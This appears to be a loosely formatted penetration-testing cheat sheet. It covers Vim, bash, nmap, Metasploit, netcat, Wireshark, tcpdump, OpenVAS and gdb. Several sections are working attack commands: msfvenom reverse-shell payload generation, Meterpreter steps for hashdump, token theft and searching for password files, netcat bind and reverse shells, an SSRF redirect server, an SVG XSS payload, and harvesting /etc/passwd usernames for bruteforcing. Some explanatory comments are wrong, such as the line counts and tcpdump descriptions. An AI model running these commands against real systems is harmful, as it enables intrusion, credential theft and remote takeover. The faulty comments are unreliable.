$ man ToC
Vi 
:%!grep -v foo # Filter out unwanted lines
:%!sort -u # Remove duplicates
| vim - # Send output to vim
.* # Repeat the last step
    *CTRL+v # Vertical selection
    *10x # Delete the 10 following characters
10dw # Delete the 10 following words
6dd # Delete 10 lines
Bash tricks 
$ sed '/.*?/ ! s/$/new_suffix/' in.txt > out.txt
$ find . -type f -exec mv {} . \; # finds all files and moves them to the root (mac tested).
tar
recon ng
nmap 
$ nmap --script-updatedb
  • Scan all TCP and UDP Ports

    • $ nmap -v -sU -sS -p- -A -T4 ip

  • Nmap search through Nmap Scripts for a specific keyword
    • $ 
ls /usr/share/nmap/scripts/* | grep ftp

    Metasploit 
    $ service postgesql start; update-rc.d postgresql enable; msfconsole; db_rebuild_cache
  • MSFconsole
    • $ msfconsole
    > help
    > show exploits
    > search vsftp
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f asp > shell.asp
    > show auxiliary
    > show payloads
> show options
> show targets

> use payload/bla
> set RHOST 192..
> run
    > meterpeter
    > sysinfo
    > use priv
    > route add 10.10.10.10 255.255.255.0 2
    generic/shell_reverse_tcp
        windows/meterpreter/reverse_tcp
  • MSFcli
    • $ mscli
  • Meterpeter
    • $ msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f aspx > shell.aspx
    > set PAYLOAD windows/meterpreter/reverse_tcp
    > background
    > sessions -l
    > session -i 1
    > use incognito
>list_tokens -u
    > meterpeter search -f *pass*.txt
    > upload local remote
    > shell

    > hashdump
    Netcat 
    $ nc -nlvp 4444
  • Connects to a remote server
    • $ nc -nv 10.0.0.22 4444
  • Serves incorming.exe through 4444
    • $ nc -nlvp 4444 > incoming.exe
  • Binds shell
    • $ nc -nlvp 4444 -e cmd.exe
  • Opens a reverse shell (you connect to a machine that can bash into yours)
    • $ nc -nv 10.0.0.22 4444 -e /bin/bash
    Wireshark 
    tcp.port == 21
ip.src == 10.43.54.65 or ip.dst == 10.43.54.65
ip.addr != 10.43.54.65
  • Find packets with specific flags set/unset:
    • tcp.flags.syn == 1
tcp.flags.push == 1
tcp.flags.reset == 0
  • Find packet containg string/filter:
    • CRTL+F
  • Find packet with specific sequence number:
    • tcp.seq == xxxx
    Tcpdump 
    $ tcpdump -r file.pcap # saves output to file.pcap
    $ tcpdump -n src host 10.10.10.10 # saves packages from 10.10.10.10
    $ tcpdump -n dst host 10.10.10.10 # saves packages to 10.10.10.10
    $ tcpdump -n port 81 # saves packages where port 81 was involved
    $ tcpdump port not 22 # skips your ssh session traffic
    $ tcpdump -vv port 80 or port 443 # http and https traffic
    nc
    OpenVAS 
    $ apt-get update; 
apt-get install openvas
 openvas-setup

netstat -tulpn

  • Login at
    • https://localhost:9392

    gdb 
    print /d -> Decimal
print /t -> Binary
print /x -> Hex
  • Print *EAX* as decimal:
    • (gdb) print /d $eax
$17 = 13
  • Display memory location, syntax:
    • x/nyz (Examine)
n -> Number of fields to display ==>
y -> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z -> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)
    filter your ssh traffic
    Cisco password:
    Others 
    $ find . -name watchdog.sh -exec sed -r -e 's/(^.*)-t 10 -i/-t 9 -i/g' {} \; # replace file contents
  • SSH using private key
    • $ ssh -i key host
  • Generate Ip range
    • $ seq -f "192.168.1.10.%g" 1 255
  • SSRF web server
    • $ while true ; do  echo -e "HTTP/1.1 301 Moved Permanently\r\nLocation: 127.0.0.1:22\r\n" | nc -vv -l -p 80  ; done
  • Svg XSS payload
    • <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE svg [<!ENTITY elem "">]>
    <svg onload="alert(document.domain);" height="16" width="16">&elem;</svg>
    Bash quoting 
     # | Expression  | Result      | Comments
---+-------------+-------------+--------------------------------------------------------------------
 1 | "$a"        | apple       | variables are expanded inside ""
 2 | '$a'        | $a          | variables are not expanded inside ''
 3 | "'$a'"      | 'apple'     | '' has no special meaning inside ""
 4 | '"$a"'      | "$a"        | "" is treated literally inside ''
 5 | '\''        | **invalid** | can not escape a ' within ''; use "'" or $'\'' (ANSI-C quoting)
 6 | "red$arocks"| red         | $arocks does not expand $a; use ${a}rocks to preserve $a
 7 | "redapple$" | redapple$   | $ followed by no variable name evaluates to $
 8 | '\"'        | \"          | \ has no special meaning inside ''
 9 | "\'"        | '           | \' is interpreted inside ""
10 | "\""        | "           | \" is interpreted inside ""
11 | "*"         | *           | glob does not work inside "" or ''
12 | "\t\n"      | \t\n        | \t and \n have no special meaning inside "" or ''; use ANSI-C quoting
13 | "`echo hi`" | hi          | `` and $() are evaluated inside ""
14 | '`echo hi`' | `echo hi`   | `` and $() are not evaluated inside ''
15 | '${arr[0]}' | ${arr[0]}   | array access not possible inside ''
16 | "${arr[0]}" | apple       | array access works inside ""
17 | $'$a\''     | $a'         | single quotes can be escaped inside ANSI-C quoting
---+-------------+-------------+--------------------------------------------------------------------
    Tcpdump
    File parsing 
    $ awk ‘$9 ~ /404/ { print }’ access.log
  • Get the usernames from */etc/passwd* and dump them into a file for bruteforcing
    • $ awk -F':' '{ print $1}' /etc/passwd > users.txt
  • Sort count and print line occurrences of a file
    • $ cat file | sort  | uniq -c | sort -n
  • Grep a regex and print only matched area
    • $ grep -E -o regex file